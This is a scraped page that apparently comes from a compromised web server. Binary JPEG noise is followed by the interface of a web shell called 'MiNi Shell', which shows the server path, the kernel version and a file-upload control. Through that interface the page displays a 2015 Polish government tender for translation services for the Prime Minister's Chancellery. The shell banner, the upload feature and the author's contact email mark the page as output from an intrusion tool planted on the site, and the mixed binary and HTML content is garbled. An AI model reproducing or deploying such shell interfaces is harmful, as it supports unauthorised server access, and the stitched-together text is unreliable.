JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20150424/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20150424/95352-N-2015.html

<p class="kh_header"><b>Warszawa: Świadczenie usług w zakresie tłumaczeń ustnych i pisemnych na rzecz Kancelarii Prezesa Rady Ministrów w okresie 12 m-cy od daty podpisania umowy.</b><br>
<b>Numer ogłoszenia: 95352 - 2015; data zamieszczenia: 24.04.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Kancelaria Prezesa Rady Ministrów , Al. Ujazdowskie 1/3, 00-583 Warszawa, woj. mazowieckie, tel. +4822 6947503, faks +48226946392.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.premier.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja rządowa centralna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Świadczenie usług w zakresie tłumaczeń ustnych i pisemnych na rzecz Kancelarii Prezesa Rady Ministrów w okresie 12 m-cy od daty podpisania umowy..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest świadczenie usług w zakresie tłumaczeń ustnych i pisemnych na rzecz Kancelarii Prezesa Rady Ministrów w okresie 12 m-cy od daty podpisania umowy. Zamówienie realizowane jest w dwóch częściach:
- część 1: świadczenie usług w zakresie tłumaczeń ustnych na rzecz Kancelarii Prezesa Rady Ministrów w okresie 12 m-cy od daty podpisania umowy,
- część 2: świadczenie usług w zakresie tłumaczeń pisemnych na rzecz Kancelarii Prezesa Rady Ministrów w okresie 12 m-cy od daty podpisania umowy. 
Budżet przewidziany na realizację zamówienia to odpowiednio: część 1 - tłumaczenia ustne: 438 902,27 zł, część 2 - tłumaczenia pisemne: 161 090,59 zł.
Przedmiot zamówienia określono w opisie przedmiotu zamówienia (załącznik nr 7 do SIWZ - wspólny dla obu części zamówienia) i wzorach umów (załączniki 6a/6b do SIWZ - odrębnie dla każdej części), w których zapisano m. in. warunki płatności. Zamawiający dopuszcza udział podwykonawców przy realizacji zamówienia. W przypadku wykonywania części zamówienia przez podwykonawcę/ów, Wykonawca wskaże w Formularzu oferty, stanowiącym załącznik nr 1 do SIWZ (wspólny dla obu części), zadania, które powierzy podwykonawcy/om..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1, 79.53.00.00-8.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Wykonawca przystępujący do przetargu jest obowiązany wnieść wadium w wysokości odpowiednio:
- dla części 1 zamówienia - 10 700,00 zł;
- dla części 2 zamówienia - 3 900,00 zł.
Wadium musi być wniesione przed upływem terminu składania ofert.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na podstawie oświadczenia Wykonawcy, zgodnie z art. 22 ust. 1 ustawy Pzp.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca, ubiegający się o udzielenie zamówienia, musi wykazać się należytym wykonaniem (a w przypadku świadczeń okresowych lub ciągłych, część wykonana musi obejmować), w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy, w tym okresie - odpowiednio: 
A. - dla części 1:
a) jednej usługi tłumaczeń ustnych, obejmujących zagadnienia polityczne, gospodarcze, międzynarodowe i prawne, w minimum 3 językach grupy A (angielski, niemiecki, francuski, rosyjski), zrealizowanej na rzecz instytucji administracji publicznej lub innych podmiotów zajmujących się współpracą z zagranicą, na  kwotę minimum 10 000 zł brutto, oraz 
b) jednej lub więcej usług tłumaczeń ustnych, obejmujących zagadnienia polityczne, gospodarcze, międzynarodowe i prawne, w minimum jednym z języków grupy B (pozostałe języki europejskie), zrealizowanych na rzecz instytucji administracji publicznej lub innych podmiotów zajmujących się współpracą z zagranicą, na łączną kwotę minimum 30 000 zł brutto.
Uwaga: każda z usług musi być zrealizowana na podstawie odrębnej umowy.
B. - dla części 2: czterech usług, każdej zrealizowanej na rzecz instytucji administracji publicznej lub innych podmiotów zajmujących się współpracą z zagranicą, w tym:
a) dwóch usług tłumaczeń pisemnych obejmujących zagadnienia polityczne, gospodarcze, międzynarodowe i prawne, w minimum 3 językach grupy A (angielski, niemiecki, francuski, rosyjski), każda na kwotę minimum 20 000 zł brutto, oraz 
b) dwóch usług tłumaczeń pisemnych obejmujących zagadnienia polityczne, gospodarcze, między-narodowe i prawne, w minimum jednym z języków grupy B (pozostałe języki europejskie), każda na kwotę minimum 15 000 zł brutto.
Uwaga: każda z usług musi być zrealizowana na podstawie odrębnej umowy.
Spełnienie warunku może zostać wykazane w całości przez jednego Wykonawcę (podmiot) lub przez Wykonawców (podmioty) łącznie.
Uwaga: w przypadku składania oferty na obie części zamówienia, wykazując spełnianie warunków określonych dla części 1 i 2 zamówienia, Wykonawca może wskazać te same usługi z zastrzeżeniem, że zakres tych usług wyczerpuje warunki dla obu części zamówienia.
W przypadku usług (umów) w trakcie trwania (dot. świadczeń ciągłych lub okresowych), Wykonawca musi wykazać, że zrealizował już usługę w wymienionym zakresie i na kwotę nie niższą niż przywołana powyżej, 
i potwierdzić jej należytą realizację stosownym dowodem.
W przypadku gdy dana usługa rozliczana była w walucie obcej, należy wskazać jej równowartość w PLN wg kursu NBP z dnia zawarcia umowy, na podstawie której usługa była realizowana.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na podstawie oświadczenia Wykonawcy, zgodnie z art. 22 ust. 1 ustawy Pzp.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca, ubiegający się o udzielenie zamówienia, zobowiązany jest wykazać, że dysponuje osobami zdolnymi do wykonania zamówienia (odpowiednio dla każdej części), w tym:
a) minimum 16 (szesnastoma) tłumaczami z grupy językowej A (angielski, francuski, niemiecki, rosyjski), każdy z minimum 3-letnim doświadczeniem zawodowym w charakterze tłumacza - liczonym w okresie ostatnich 5 lat przed upływem terminu składania ofert (w tym minimum 4 tłumaczami z każdego języka w ramach grupy językowej), spośród których:
- minimum 3 tłumaczy z co najmniej trzech różnych języków w ramach grupy językowej posiada ważne poświadczenie bezpieczeństwa upoważniające do dostępu do informacji niejawnych NATO i UE o klauzuli Tajne oraz ważne zaświadczenie o odbyciu szkolenia w zakresie ochrony informacji niejawnych,
- minimum 6 tłumaczy z co najmniej trzech różnych języków w ramach grupy językowej posiada ważne poświadczenie bezpieczeństwa upoważniające do dostępu do informacji niejawnych o klauzuli Tajne oraz ważne zaświadczenie o odbyciu szkolenia w zakresie ochrony informacji niejawnych,
b) minimum 20 (dwudziestoma) tłumaczami z grupy językowej B (pozostałe języki europejskie, min.: albański, bułgarski, czeski, duński, estoński, fiński, grecki, hiszpański, portugalski, irlandzki, litewski, łotewski, niderlandzki, rumuński, słowacki, słoweński, szwedzki, węgierski, włoski, ukraiński), każdy z minimum 3-letnim doświadczeniem zawodowym w charakterze tłumacza  - liczonym w okresie ostatnich 5 lat przed upływem terminu składania ofert (w tym minimum po jednym tłumaczu z 20 różnych języków w ramach grupy), spośród których minimum 10 tłumaczy z dwudziestu różnych języków w ramach grupy językowej posiada ważne poświadczenie bezpieczeństwa upoważniające do dostępu do informacji niejawnych o klauzuli Tajne oraz ważne zaświadczenie o odbyciu szkolenia w zakresie ochrony informacji niejawnych,
c) minimum 10 (dziesięcioma) tłumaczami z grupy językowej C (języki pozaeuropejskie, min. chiński, japoński, arabski, turecki, urdu, hebrajski, kurdyjski, mongolski, wietnamski, gruziński), każdy z minimum 3-letnim doświadczeniem zawodowym w charakterze tłumacza - liczonym w okresie ostatnich 5 lat przed upływem terminu składania ofert (w tym minimum po jednym tłumaczu z 10 różnych języków w ramach grupy językowej).
Spełnienie tego warunku może zostać wykazane w całości przez jednego Wykonawcę (podmiot) lub przez Wykonawców (podmioty) łącznie.
Zamawiający nie dopuszcza wskazania w ramach jednej części tego samego tłumacza w więcej niż jednej grupie językowej i w więcej niż jednym języku. 
Zamawiający nie dopuszcza w ramach jednej części wskazania tych samych osób odnośnie tłumaczy posiadających ważne poświadczenie bezpieczeństwa upoważniające do dostępu do informacji niejawnych NATO i UE o klauzuli Tajne i tłumaczy posiadających ważne poświadczenie bezpieczeństwa upoważniające do dostępu do informacji niejawnych o klauzuli Tajne.
Uwaga: w przypadku składania oferty na obie części zamówienia, wykazując spełnianie postawionego warunku, Wykonawca może wykazać te same osoby.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na podstawie oświadczenia Wykonawcy, zgodnie z art. 22 ust. 1 ustawy Pzp.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1. Jeżeli Wykonawca, wykazując spełnianie warunków, o których mowa w art. 22 ust. 1 uPzp, polega na zasobach innych podmiotów, niezależnie od charakteru prawnego łączących go z nimi stosunków, na zasadach określonych w art. 26 ust. 2b uPzp, zobowiązany jest udowodnić Zamawiającemu, iż będzie dysponował zasobami w trakcie realizacji zamówienia, w szczególności przedstawiając w tym celu pisemne zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na potrzeby wykonania zamówienia. Podmiot, który zobowiązał się do udostepnienia zasobów zgodnie z przepisem art. 26 ust. 2b uPzp, odpowiada solidarnie z Wykonawcą za szkodę Zamawiającego powstałą wskutek nieudostępnienia tych zasobów, chyba, że za nieudostępnienie zasobów nie ponosi winy. 2. Jeżeli Wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, zamiast dokumentu, o których mowa w rozdziale III.4.2) tiret 2, - składa dokument lub dokumenty wystawione w kraju, w którym ma siedzibę lub miejsce zamieszkania, potwierdzające, że nie otwarto jego likwidacji ani nie ogłoszono upadłości. 3. Dokument, o których mowa w ust. 2, powinien być wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert. 4. Jeżeli w kraju miejsca zamieszkania osoby lub w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, nie wydaje się dokumentu, o którym mowa w rozdziale III.4.2) tiret 2, zastępuje się je dokumentem zawierającym oświadczenie, w którym określa się także osoby uprawnione do reprezentacji wykonawcy, złożone przed właściwym organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego odpowiednio kraju miejsca zamieszkania osoby lub kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, lub przed notariuszem. Przepis ust. 3 stosuje się odpowiednio. 5. Jeżeli Wykonawcy wspólnie ubiegają się o udzielenie zamówienia, ustanawiają pełnomocnika do reprezentowania ich w postępowaniu albo do reprezentowania ich w postępowaniu i zawarcia umowy. Stosowne pełnomocnictwo, w oryginale lub w postaci kopii poświadczonej notarialnie, należy dołączyć do oferty.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zmiana istotnych postanowień umowy w stosunku do treści oferty jest dopuszczalna w sytuacji, gdy jej dokonanie podyktowane jest:
1) zmianą stanu prawnego, która ma wpływ na sposób realizacji przedmiotu zamówienia;
2) działaniem siły wyższej uniemożliwiającej realizację w części lub w całości zamówienia;
3) oczywistymi omyłkami rachunkowymi lub pisemnymi;
4) działaniem osób trzecich, za które żadna ze stron nie ponosi odpowiedzialności;
5) sytuacją, w której zmiana przepisów prawa w okresie obowiązywania umowy powodować będzie konieczność zmiany umowy. Strony dokonują wówczas niezwłocznie zmiany umowy w zakresie wymaganym przepisami.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://bip.kprm.gov.pl/portal/kpr/84/Postepowania_wszczete.html.<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Kancelaria Prezesa Rady Ministrów, Al. Ujazdowskie 1/3, 00-583 Warszawa.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 07.05.2015 godzina 10:00, miejsce: Kancelaria Prezesa Rady Ministrów, Al. Ujazdowskie 1/3, 00-583 Warszawa lub złożyc na Dziennik Podawczy, wejście od al. Szucha 14.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> -.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Świadczenie usług w zakresie tłumaczeń ustnych na rzecz Kancelarii Prezesa Rady Ministrów w okresie 12 m-cy od daty podpisania umowy.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Tłumaczenia ustne, w tym: konsekutywne i symultaniczne, w grupach językowych: grupa A (angielski, francuski, niemiecki, rosyjski), grupa B (pozostałe języki europejskie), grupa C (języki pozaeuropejskie). Liczba szacowanych bloków (modułów), gdzie 1 moduł = 4 godziny:
1. Grupa A (j.angielski, j.francuski, j.niemiecki, j.rosyjski): - tłumaczenia konsekutywne - modułów 279, - tłumaczenia symultaniczne - modułów 94 (praca 2 tłumaczy w kabinie). 2. Grupa B (pozostałe języki europejskie): tłumaczenia konsekutywne - modułów 75, - tłumaczenia symultaniczne - modułów 20 (praca 2 tłumaczy w kabinie). 3. Grupa C (języki pozaeuropejskie): tłumaczenia konsekutywne - modułów 63, - tłumaczenie symultaniczne - modułów 10 (praca 2 tłumaczy w kabinie)	.
Zakres i opis: 1. Przystąpienie do realizacji zlecenia w ciągu 3 godzin od jego otrzymania na terenie Warszawy. Tłumacz ma obowiązek zgłosić się w stroju urzędniczym na pół godziny przed terminem spotkania, w celu uzgodnienia szczegółów. 2. 1 blok (moduł) tłumaczenia konsekutywnego to 4 godziny pracy tłumacza tłumaczącego z języka polskiego na język obcy lub z języka obcego na język polski, zaś 1 blok tłumaczenia symultanicznego to 4 godziny pracy 2 tłumaczy w kabinie tłumaczących z języka polskiego na język obcy lub z języka obcego na język polski. 3. W przypadku tłumaczeń na rzecz Prezesa Rady Ministrów zamawiający zastrzega sobie prawo imiennego wskazania tłumacza z listy (wykazu) osób, które będą wykonywać zamówienie. 
Tematyka tłumaczeń obejmuje zagadnienia polityczne, gospodarcze, międzynarodowe i prawne. Tłumaczenia będą wykonywane przez 7 dni tygodnia (również w soboty, niedziele i święta), w godz. 7.00 - 24.00.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Świadczenie usług w zakresie tłumaczeń pisemnych na rzecz Kancelarii Prezesa Rady Ministrów w okresie 12 m-cy od daty podpisania umowy.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Tłumaczenia pisemne, w tym: - tłumaczenie (wraz z weryfikacją) materiałów przekazywanych przez komórki organizacyjne KPRM, w grupach językowych:
grupa A (angielski, francuski, niemiecki, rosyjski); grupa B (pozostałe języki europejskie); grupa C (języki pozaeuropejskie), -  weryfikacja językowa tekstu dostarczonego (przetłumaczonego); a) Liczba szacowanych stron:
1. Grupa A (j.angielski, j.francuski, j.niemiecki, j. rosyjski) 
- termin zwykły - stron 1 200, 
- termin przyśpieszony - stron 500, 
- termin ekspresowy -stron 1 800, 
- tłumaczenia przysięgłe (termin zwykły) - stron 10. 
2. Grupa B (pozostałe języki europejskie) 
- termin zwykły - stron 150, 
- termin przyśpieszony - stron 20, 
- termin ekspresowy - stron 40. 
3. Grupa C (języki pozaeuropejskie) - termin zwykły - stron 80, - termin ekspresowy - stron 20;	
4. Weryfikacja dostarczonego przetłumaczonego tekstu (Grupa A, B, C) 
- stron 50.
 b) Zakres i opis:
Zakres i opis: 1. Jedna strona tłumaczenia - do 1700 znaków (licznik znaków Microsoft Word, nr czcionki 12 ze spacjami) - z języka polskiego na język obcy  lub z języka obcego na język polski, tłumaczenie pisemne przysięgłe - 
do 1125 znaków strona (tłumaczenie przysięgłe dotyczy tłumaczeń z grupy A w trybie zwykłym), z języka polskiego na język obcy lub z języka obcego na język polski.
2. Do obowiązków wykonawcy należy weryfikacja przez wyznaczoną przez siebie osobę, posiadającą doświadczenie dziennikarskie lub redaktorskie, przetłumaczonego tekstu pod względem gramatycznym i stylistycznym (na własny koszt).
3. Tryby tłumaczeń:
- zwykły - do 5 stron - w ciągu 24 godzin od wysłania zlecenia,
- przyśpieszony - od 6 do 8 stron - w ciągu 24 godzin od wysłania zlecenia,
- ekspresowy:
a) do 8 stron - niezwłocznie od wysłania zlecenia,
b) powyżej 8 stron - w ciągu 24 godzin od wysłania zlecenia.
4. Weryfikacja językowa tekstu dostarczonego (przetłumaczonego) obejmuje nanoszenie zmian w przetłumaczonym tekście, do maksymalnie 3% objętości tekstu.
Tematyka tłumaczeń obejmuje zagadnienia polityczne, gospodarcze, międzynarodowe i prawne. Tłumaczenia będą wykonywane przez 7 dni tygodnia (również w soboty, niedziele i święta), w godz. 7.00 - 24.00.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com